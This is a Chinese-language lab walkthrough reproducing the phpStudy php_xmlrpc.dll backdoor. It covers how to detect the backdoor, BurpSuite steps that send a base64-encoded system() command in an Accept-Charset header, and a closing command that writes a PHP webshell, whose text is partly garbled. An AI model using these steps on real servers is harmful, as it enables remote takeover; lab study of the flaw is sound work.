本篇文章是复现 PHPstudy 的远程执行漏洞,该漏洞可以直接执行系统命令,相当于一键getshell,很强大
需要的工具:
VMware 环境
BurpSuite
phpStudy20161103.zip 或 phpStudy20180211.zip
那么如何查看你的phpstudy是否存在漏洞呢?
phpStudy2016查看:
*:\phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll
*:\phpStudy\php\php-5.2.17\ext\php_xmlrpc.dll
phpStudy2018查看:
*:\PHPTutorial\PHP\PHP-5.2.17\ext\php_xmlrpc.dll
*:\PHPTutorial\PHP\PHP-5.4.45\ext\php_xmlrpc.dll
找到“ php_xmlrpc,dll”后用记事本打开,“ Ctrl + F”搜索“ @eva ”字符串如果存在就存在后门:
点击php
根据上面的路径寻找dll文件
如果有图中代码,那就是有漏洞了
复现:
虚拟机搭建好环境,我这里是phpstudy2018
可以访问,没问题,现在打开burpsuite,设置好浏览器代理,访问目标(192.168.244.136)
点击action,send to repeater
关键的来了,我们在请求行加一行Accept-Charset:
并且还要把“ deflated“前面的空格删除(不删除无法执行命令)
Accept-Encoding: gzip, (我是空格,我在这里)deflated
接下来我们就可以准备执行命令了,我这里就举一个例子
system('whoami');
把命令复制丢入decoder模块中,base64编码
然后将命令加到Accept-Charset:后面 单击go
命令已回显,administrator
分析:
phpstudy软件被插入后门,通过php system函数执行系统命令,所以我们也可以通过system()函数写入webshell,
参考(copy)别人的代码
system(' ECHO ^<[email protected]($_POST[cmd]); ?^>>"C:/phpStudy/WWW/demon.php ');